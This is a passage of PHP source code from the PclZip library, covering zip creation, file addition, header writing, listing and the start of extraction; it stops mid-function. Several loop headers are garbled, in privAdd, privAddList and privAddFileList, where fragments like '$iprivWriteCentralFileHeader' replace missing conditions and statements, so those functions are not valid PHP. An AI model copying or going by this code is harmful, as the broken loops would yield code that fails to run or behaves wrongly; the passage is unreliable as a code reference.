if (($v_result = $this->privOpenFd('wb')) != 1)
{
// ----- Return
return $v_result;
}
// ----- Add the list of files
$v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);
// ----- Close
$this->privCloseFd();
// ----- Magic quotes trick
$this->privSwapBackMagicQuotes();
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privAdd()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
{
$v_result=1;
$v_list_detail = array();
// ----- Look if the archive exists or is empty
if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
{
// ----- Do a create
$v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);
// ----- Return
return $v_result;
}
// ----- Magic quotes trick
$this->privDisableMagicQuotes();
// ----- Open the zip file
if (($v_result=$this->privOpenFd('rb')) != 1)
{
// ----- Magic quotes trick
$this->privSwapBackMagicQuotes();
// ----- Return
return $v_result;
}
// ----- Read the central directory information
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
// ----- Go to beginning of File
@rewind($this->zip_fd);
// ----- Creates a temporary file
$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
// ----- Open the temporary file in write mode
if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
{
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
// ----- Return
return PclZip::errorCode();
}
// ----- Copy the files from the archive to the temporary file
// TBC : Here I should better append the file and go back to erase the central dir
$v_size = $v_central_dir['offset'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = fread($this->zip_fd, $v_read_size);
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Swap the file descriptor
// Here is a trick : I swap the temporary fd with the zip fd, in order to use
// the following methods on the temporary fil and not the real archive
$v_swap = $this->zip_fd;
$this->zip_fd = $v_zip_temp_fd;
$v_zip_temp_fd = $v_swap;
// ----- Add the files
$v_header_list = array();
if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
{
fclose($v_zip_temp_fd);
$this->privCloseFd();
@unlink($v_zip_temp_name);
$this->privSwapBackMagicQuotes();
// ----- Return
return $v_result;
}
// ----- Store the offset of the central dir
$v_offset = @ftell($this->zip_fd);
// ----- Copy the block of file headers from the old archive
$v_size = $v_central_dir['size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($v_zip_temp_fd, $v_read_size);
@fwrite($this->zip_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Create the Central Dir files header
for ($i=0, $v_count=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) {
fclose($v_zip_temp_fd);
$this->privCloseFd();
@unlink($v_zip_temp_name);
$this->privSwapBackMagicQuotes();
// ----- Return
return $v_result;
}
$v_count++;
}
// ----- Transform the header to a 'usable' info
$this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
}
// ----- Zip file comment
$v_comment = $v_central_dir['comment'];
if (isset($p_options[PCLZIP_OPT_COMMENT])) {
$v_comment = $p_options[PCLZIP_OPT_COMMENT];
}
if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
$v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT];
}
if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
$v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment;
}
// ----- Calculate the size of the central header
$v_size = @ftell($this->zip_fd)-$v_offset;
// ----- Create the central dir footer
if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
{
// ----- Reset the file list
unset($v_header_list);
$this->privSwapBackMagicQuotes();
// ----- Return
return $v_result;
}
// ----- Swap back the file descriptor
$v_swap = $this->zip_fd;
$this->zip_fd = $v_zip_temp_fd;
$v_zip_temp_fd = $v_swap;
// ----- Close
$this->privCloseFd();
// ----- Close the temporary file
@fclose($v_zip_temp_fd);
// ----- Magic quotes trick
$this->privSwapBackMagicQuotes();
// ----- Delete the zip file
// TBC : I should test the result ...
@unlink($this->zipname);
// ----- Rename the temporary file
// TBC : I should test the result ...
//@rename($v_zip_temp_name, $this->zipname);
PclZipUtilRename($v_zip_temp_name, $this->zipname);
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privOpenFd()
// Description :
// Parameters :
// --------------------------------------------------------------------------------
function privOpenFd($p_mode)
{
$v_result=1;
// ----- Look if already open
if ($this->zip_fd != 0)
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open');
// ----- Return
return PclZip::errorCode();
}
// ----- Open the zip file
if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0)
{
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode');
// ----- Return
return PclZip::errorCode();
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privCloseFd()
// Description :
// Parameters :
// --------------------------------------------------------------------------------
function privCloseFd()
{
$v_result=1;
if ($this->zip_fd != 0)
@fclose($this->zip_fd);
$this->zip_fd = 0;
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privAddList()
// Description :
// $p_add_dir and $p_remove_dir will give the ability to memorize a path which is
// different from the real path of the file. This is useful if you want to have PclTar
// running in any directory, and memorize relative path from an other directory.
// Parameters :
// $p_list : An array containing the file or directory names to add in the tar
// $p_result_list : list of added files with their properties (specially the status field)
// $p_add_dir : Path to add in the filename path archived
// $p_remove_dir : Path to remove in the filename path archived
// Return Values :
// --------------------------------------------------------------------------------
// function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options)
function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
{
$v_result=1;
// ----- Add the files
$v_header_list = array();
if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
{
// ----- Return
return $v_result;
}
// ----- Store the offset of the central dir
$v_offset = @ftell($this->zip_fd);
// ----- Create the Central Dir files header
for ($i=0,$v_count=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) {
// ----- Return
return $v_result;
}
$v_count++;
}
// ----- Transform the header to a 'usable' info
$this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
}
// ----- Zip file comment
$v_comment = '';
if (isset($p_options[PCLZIP_OPT_COMMENT])) {
$v_comment = $p_options[PCLZIP_OPT_COMMENT];
}
// ----- Calculate the size of the central header
$v_size = @ftell($this->zip_fd)-$v_offset;
// ----- Create the central dir footer
if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1)
{
// ----- Reset the file list
unset($v_header_list);
// ----- Return
return $v_result;
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privAddFileList()
// Description :
// Parameters :
// $p_filedescr_list : An array containing the file description
// or directory names to add in the zip
// $p_result_list : list of added files with their properties (specially the status field)
// Return Values :
// --------------------------------------------------------------------------------
function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
{
$v_result=1;
$v_header = array();
// ----- Recuperate the current number of elt in list
$v_nb = sizeof($p_result_list);
// ----- Loop on the files
for ($j=0; ($jprivAddFile($p_filedescr_list[$j], $v_header,
$p_options);
if ($v_result != 1) {
return $v_result;
}
// ----- Store the file infos
$p_result_list[$v_nb++] = $v_header;
}
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privAddFile()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privAddFile($p_filedescr, &$p_header, &$p_options)
{
$v_result=1;
// ----- Working variable
$p_filename = $p_filedescr['filename'];
// TBC : Already done in the fileAtt check ... ?
if ($p_filename == "") {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");
// ----- Return
return PclZip::errorCode();
}
// ----- Look for a stored different filename
/* TBC : Removed
if (isset($p_filedescr['stored_filename'])) {
$v_stored_filename = $p_filedescr['stored_filename'];
}
else {
$v_stored_filename = $p_filedescr['stored_filename'];
}
*/
// ----- Set the file properties
clearstatcache();
$p_header['version'] = 20;
$p_header['version_extracted'] = 10;
$p_header['flag'] = 0;
$p_header['compression'] = 0;
$p_header['crc'] = 0;
$p_header['compressed_size'] = 0;
$p_header['filename_len'] = strlen($p_filename);
$p_header['extra_len'] = 0;
$p_header['disk'] = 0;
$p_header['internal'] = 0;
$p_header['offset'] = 0;
$p_header['filename'] = $p_filename;
// TBC : Removed $p_header['stored_filename'] = $v_stored_filename;
$p_header['stored_filename'] = $p_filedescr['stored_filename'];
$p_header['extra'] = '';
$p_header['status'] = 'ok';
$p_header['index'] = -1;
// ----- Look for regular file
if ($p_filedescr['type']=='file') {
$p_header['external'] = 0x00000000;
$p_header['size'] = filesize($p_filename);
}
// ----- Look for regular folder
else if ($p_filedescr['type']=='folder') {
$p_header['external'] = 0x00000010;
$p_header['mtime'] = filemtime($p_filename);
$p_header['size'] = filesize($p_filename);
}
// ----- Look for virtual file
else if ($p_filedescr['type'] == 'virtual_file') {
$p_header['external'] = 0x00000000;
$p_header['size'] = strlen($p_filedescr['content']);
}
// ----- Look for filetime
if (isset($p_filedescr['mtime'])) {
$p_header['mtime'] = $p_filedescr['mtime'];
}
else if ($p_filedescr['type'] == 'virtual_file') {
$p_header['mtime'] = time();
}
else {
$p_header['mtime'] = filemtime($p_filename);
}
// ------ Look for file comment
if (isset($p_filedescr['comment'])) {
$p_header['comment_len'] = strlen($p_filedescr['comment']);
$p_header['comment'] = $p_filedescr['comment'];
}
else {
$p_header['comment_len'] = 0;
$p_header['comment'] = '';
}
// ----- Look for pre-add callback
if (isset($p_options[PCLZIP_CB_PRE_ADD])) {
// ----- Generate a local information
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_header, $v_local_header);
// ----- Call the callback
// Here I do not use call_user_func() because I need to send a reference to the
// header.
$v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header);
if ($v_result == 0) {
// ----- Change the file status
$p_header['status'] = "skipped";
$v_result = 1;
}
// ----- Update the information
// Only some fields can be modified
if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
$p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
}
}
// ----- Look for empty stored filename
if ($p_header['stored_filename'] == "") {
$p_header['status'] = "filtered";
}
// ----- Check the path length
if (strlen($p_header['stored_filename']) > 0xFF) {
$p_header['status'] = 'filename_too_long';
}
// ----- Look if no error, or file not skipped
if ($p_header['status'] == 'ok') {
// ----- Look for a file
if ($p_filedescr['type'] == 'file') {
// ----- Look for using temporary file to zip
if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
&& (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
|| (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
&& ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) {
$v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options);
if ($v_result < PCLZIP_ERR_NO_ERROR) {
return $v_result;
}
}
// ----- Use "in memory" zip algo
else {
// ----- Open the source file
if (($v_file = @fopen($p_filename, "rb")) == 0) {
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
return PclZip::errorCode();
}
// ----- Read the file content
if ($p_header['size'] > 0) {
$v_content = @fread($v_file, $p_header['size']);
}
else {
$v_content = '';
}
// ----- Close the file
@fclose($v_file);
// ----- Calculate the CRC
$p_header['crc'] = @crc32($v_content);
// ----- Look for no compression
if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
// ----- Set header parameters
$p_header['compressed_size'] = $p_header['size'];
$p_header['compression'] = 0;
}
// ----- Look for normal compression
else {
// ----- Compress the content
$v_content = @gzdeflate($v_content);
// ----- Set header parameters
$p_header['compressed_size'] = strlen($v_content);
$p_header['compression'] = 8;
}
// ----- Call the header generation
if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
@fclose($v_file);
return $v_result;
}
// ----- Write the compressed (or not) content
@fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
}
}
// ----- Look for a virtual file (a file from string)
else if ($p_filedescr['type'] == 'virtual_file') {
$v_content = $p_filedescr['content'];
// ----- Calculate the CRC
$p_header['crc'] = @crc32($v_content);
// ----- Look for no compression
if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
// ----- Set header parameters
$p_header['compressed_size'] = $p_header['size'];
$p_header['compression'] = 0;
}
// ----- Look for normal compression
else {
// ----- Compress the content
$v_content = @gzdeflate($v_content);
// ----- Set header parameters
$p_header['compressed_size'] = strlen($v_content);
$p_header['compression'] = 8;
}
// ----- Call the header generation
if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
@fclose($v_file);
return $v_result;
}
// ----- Write the compressed (or not) content
@fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
}
// ----- Look for a directory
else if ($p_filedescr['type'] == 'folder') {
// ----- Look for directory last '/'
if (@substr($p_header['stored_filename'], -1) != '/') {
$p_header['stored_filename'] .= '/';
}
// ----- Set the file properties
$p_header['size'] = 0;
//$p_header['external'] = 0x41FF0010; // Value for a folder : to be checked
$p_header['external'] = 0x00000010; // Value for a folder : to be checked
// ----- Call the header generation
if (($v_result = $this->privWriteFileHeader($p_header)) != 1)
{
return $v_result;
}
}
}
// ----- Look for post-add callback
if (isset($p_options[PCLZIP_CB_POST_ADD])) {
// ----- Generate a local information
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_header, $v_local_header);
// ----- Call the callback
// Here I do not use call_user_func() because I need to send a reference to the
// header.
$v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header);
if ($v_result == 0) {
// ----- Ignored
$v_result = 1;
}
// ----- Update the information
// Nothing can be modified
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privAddFileUsingTempFile()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options)
{
$v_result=PCLZIP_ERR_NO_ERROR;
// ----- Working variable
$p_filename = $p_filedescr['filename'];
// ----- Open the source file
if (($v_file = @fopen($p_filename, "rb")) == 0) {
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
return PclZip::errorCode();
}
// ----- Creates a compressed temporary file
$v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) {
fclose($v_file);
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
return PclZip::errorCode();
}
// ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
$v_size = filesize($p_filename);
while ($v_size != 0) {
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($v_file, $v_read_size);
//$v_binary_data = pack('a'.$v_read_size, $v_buffer);
@gzputs($v_file_compressed, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Close the file
@fclose($v_file);
@gzclose($v_file_compressed);
// ----- Check the minimum file size
if (filesize($v_gzip_temp_name) < 18) {
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes');
return PclZip::errorCode();
}
// ----- Extract the compressed attributes
if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
return PclZip::errorCode();
}
// ----- Read the gzip file header
$v_binary_data = @fread($v_file_compressed, 10);
$v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data);
// ----- Check some parameters
$v_data_header['os'] = bin2hex($v_data_header['os']);
// ----- Read the gzip file footer
@fseek($v_file_compressed, filesize($v_gzip_temp_name)-8);
$v_binary_data = @fread($v_file_compressed, 8);
$v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data);
// ----- Set the attributes
$p_header['compression'] = ord($v_data_header['cm']);
//$p_header['mtime'] = $v_data_header['mtime'];
$p_header['crc'] = $v_data_footer['crc'];
$p_header['compressed_size'] = filesize($v_gzip_temp_name)-18;
// ----- Close the file
@fclose($v_file_compressed);
// ----- Call the header generation
if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
return $v_result;
}
// ----- Add the compressed data
if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0)
{
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
return PclZip::errorCode();
}
// ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
fseek($v_file_compressed, 10);
$v_size = $p_header['compressed_size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($v_file_compressed, $v_read_size);
//$v_binary_data = pack('a'.$v_read_size, $v_buffer);
@fwrite($this->zip_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
// ----- Close the file
@fclose($v_file_compressed);
// ----- Unlink the temporary file
@unlink($v_gzip_temp_name);
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privCalculateStoredFilename()
// Description :
// Based on file descriptor properties and global options, this method
// calculate the filename that will be stored in the archive.
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privCalculateStoredFilename(&$p_filedescr, &$p_options)
{
$v_result=1;
// ----- Working variables
$p_filename = $p_filedescr['filename'];
if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
$p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
}
else {
$p_add_dir = '';
}
if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
$p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
}
else {
$p_remove_dir = '';
}
if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
$p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
}
else {
$p_remove_all_dir = 0;
}
// ----- Look for full name change
if (isset($p_filedescr['new_full_name'])) {
// ----- Remove drive letter if any
$v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']);
}
// ----- Look for path and/or short name change
else {
// ----- Look for short name change
// Its when we change just the filename but not the path
if (isset($p_filedescr['new_short_name'])) {
$v_path_info = pathinfo($p_filename);
$v_dir = '';
if ($v_path_info['dirname'] != '') {
$v_dir = $v_path_info['dirname'].'/';
}
$v_stored_filename = $v_dir.$p_filedescr['new_short_name'];
}
else {
// ----- Calculate the stored filename
$v_stored_filename = $p_filename;
}
// ----- Look for all path to remove
if ($p_remove_all_dir) {
$v_stored_filename = basename($p_filename);
}
// ----- Look for partial path remove
else if ($p_remove_dir != "") {
if (substr($p_remove_dir, -1) != '/')
$p_remove_dir .= "/";
if ( (substr($p_filename, 0, 2) == "./")
|| (substr($p_remove_dir, 0, 2) == "./")) {
if ( (substr($p_filename, 0, 2) == "./")
&& (substr($p_remove_dir, 0, 2) != "./")) {
$p_remove_dir = "./".$p_remove_dir;
}
if ( (substr($p_filename, 0, 2) != "./")
&& (substr($p_remove_dir, 0, 2) == "./")) {
$p_remove_dir = substr($p_remove_dir, 2);
}
}
$v_compare = PclZipUtilPathInclusion($p_remove_dir,
$v_stored_filename);
if ($v_compare > 0) {
if ($v_compare == 2) {
$v_stored_filename = "";
}
else {
$v_stored_filename = substr($v_stored_filename,
strlen($p_remove_dir));
}
}
}
// ----- Remove drive letter if any
$v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename);
// ----- Look for path to add
if ($p_add_dir != "") {
if (substr($p_add_dir, -1) == "/")
$v_stored_filename = $p_add_dir.$v_stored_filename;
else
$v_stored_filename = $p_add_dir."/".$v_stored_filename;
}
}
// ----- Filename (reduce the path of stored name)
$v_stored_filename = PclZipUtilPathReduction($v_stored_filename);
$p_filedescr['stored_filename'] = $v_stored_filename;
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privWriteFileHeader()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privWriteFileHeader(&$p_header)
{
$v_result=1;
// ----- Store the offset position of the file
$p_header['offset'] = ftell($this->zip_fd);
// ----- Transform UNIX mtime to DOS format mdate/mtime
$v_date = getdate($p_header['mtime']);
$v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
$v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
// ----- Packed data
$v_binary_data = pack("VvvvvvVVVvv", 0x04034b50,
$p_header['version_extracted'], $p_header['flag'],
$p_header['compression'], $v_mtime, $v_mdate,
$p_header['crc'], $p_header['compressed_size'],
$p_header['size'],
strlen($p_header['stored_filename']),
$p_header['extra_len']);
// ----- Write the first 148 bytes of the header in the archive
fputs($this->zip_fd, $v_binary_data, 30);
// ----- Write the variable fields
if (strlen($p_header['stored_filename']) != 0)
{
fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
}
if ($p_header['extra_len'] != 0)
{
fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privWriteCentralFileHeader()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privWriteCentralFileHeader(&$p_header)
{
$v_result=1;
// TBC
//for(reset($p_header); $key = key($p_header); next($p_header)) {
//}
// ----- Transform UNIX mtime to DOS format mdate/mtime
$v_date = getdate($p_header['mtime']);
$v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
$v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
// ----- Packed data
$v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50,
$p_header['version'], $p_header['version_extracted'],
$p_header['flag'], $p_header['compression'],
$v_mtime, $v_mdate, $p_header['crc'],
$p_header['compressed_size'], $p_header['size'],
strlen($p_header['stored_filename']),
$p_header['extra_len'], $p_header['comment_len'],
$p_header['disk'], $p_header['internal'],
$p_header['external'], $p_header['offset']);
// ----- Write the 42 bytes of the header in the zip file
fputs($this->zip_fd, $v_binary_data, 46);
// ----- Write the variable fields
if (strlen($p_header['stored_filename']) != 0)
{
fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
}
if ($p_header['extra_len'] != 0)
{
fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
}
if ($p_header['comment_len'] != 0)
{
fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privWriteCentralHeader()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
{
$v_result=1;
// ----- Packed data
$v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries,
$p_nb_entries, $p_size,
$p_offset, strlen($p_comment));
// ----- Write the 22 bytes of the header in the zip file
fputs($this->zip_fd, $v_binary_data, 22);
// ----- Write the variable fields
if (strlen($p_comment) != 0)
{
fputs($this->zip_fd, $p_comment, strlen($p_comment));
}
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privList()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privList(&$p_list)
{
$v_result=1;
// ----- Magic quotes trick
$this->privDisableMagicQuotes();
// ----- Open the zip file
if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
{
// ----- Magic quotes trick
$this->privSwapBackMagicQuotes();
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
// ----- Return
return PclZip::errorCode();
}
// ----- Read the central directory information
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privSwapBackMagicQuotes();
return $v_result;
}
// ----- Go to beginning of Central Dir
@rewind($this->zip_fd);
if (@fseek($this->zip_fd, $v_central_dir['offset']))
{
$this->privSwapBackMagicQuotes();
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
// ----- Return
return PclZip::errorCode();
}
// ----- Read each entry
for ($i=0; $i<$v_central_dir['entries']; $i++)
{
// ----- Read the file header
if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
{
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_header['index'] = $i;
// ----- Get the only interesting attributes
$this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
unset($v_header);
}
// ----- Close the zip file
$this->privCloseFd();
// ----- Magic quotes trick
$this->privSwapBackMagicQuotes();
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privConvertHeader2FileInfo()
// Description :
// This function takes the file information from the central directory
// entries and extract the interesting parameters that will be given back.
// The resulting file infos are set in the array $p_info
// $p_info['filename'] : Filename with full path. Given by user (add),
// extracted in the filesystem (extract).
// $p_info['stored_filename'] : Stored filename in the archive.
// $p_info['size'] = Size of the file.
// $p_info['compressed_size'] = Compressed size of the file.
// $p_info['mtime'] = Last modification date of the file.
// $p_info['comment'] = Comment associated with the file.
// $p_info['folder'] = true/false : indicates if the entry is a folder or not.
// $p_info['status'] = status of the action on the file.
// $p_info['crc'] = CRC of the file content.
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function privConvertHeader2FileInfo($p_header, &$p_info)
{
$v_result=1;
// ----- Get the interesting attributes
$v_temp_path = PclZipUtilPathReduction($p_header['filename']);
$p_info['filename'] = $v_temp_path;
$v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']);
$p_info['stored_filename'] = $v_temp_path;
$p_info['size'] = $p_header['size'];
$p_info['compressed_size'] = $p_header['compressed_size'];
$p_info['mtime'] = $p_header['mtime'];
$p_info['comment'] = $p_header['comment'];
$p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010);
$p_info['index'] = $p_header['index'];
$p_info['status'] = $p_header['status'];
$p_info['crc'] = $p_header['crc'];
// ----- Return
return $v_result;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : privExtractByRule()
// Description :
// Extract a file or directory depending of rules (by index, by name, ...)
// Parameters :
// $p_file_list : An array where will be placed the properties of each
// extracted file
// $p_path : Path to add while writing the extracted files
// $p_remove_path : Path to remove (from the file memorized path) while writing the
// extracted files. If the path does not match the file path,
// the file is extracted with its memorized path.
// $p_remove_path does not apply to 'list' mode.
// $p_path and $p_remove_path are commulative.
// Return Values :
// 1 on success,0 or less on error (see error code list)
// --------------------------------------------------------------------------------
function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
{
$v_result=1;
// ----- Magic quotes trick
$this->privDisableMagicQuotes();
// ----- Check the path
if ( ($p_path == "")
|| ( (substr($p_path, 0, 1) != "/")
&& (substr($p_path, 0, 3) != "../")
&& (substr($p_path,1,2)!=":/")))
$p_path = "./".$p_path;
// ----- Reduce the path last (and duplicated) '/'
if (($p_path != "./") && ($p_path != "/"))
{
// ----- Look for the path end '/'
while (substr($p_path, -1) == "/")
{
$p_path = substr($p_path, 0, strlen($p_path)-1);
}
}
// ----- Look for path to remove format (should end by /)
if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/'))
{
$p_remove_path .= '/';
}
$p_remove_path_size = strlen($p_remove_path);
// ----- Open the zip file
if (($v_result = $this->privOpenFd('rb')) != 1)
{
$this->privSwapBackMagicQuotes();
return $v_result;
}
// ----- Read the central directory information
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
// ----- Close the zip file
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
// ----- Start at beginning of Central Dir
$v_pos_entry = $v_central_dir['offset'];
// ----- Read each entry
$j_start = 0;
for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
{
// ----- Read next Central dir entry
@rewind($this->zip_fd);
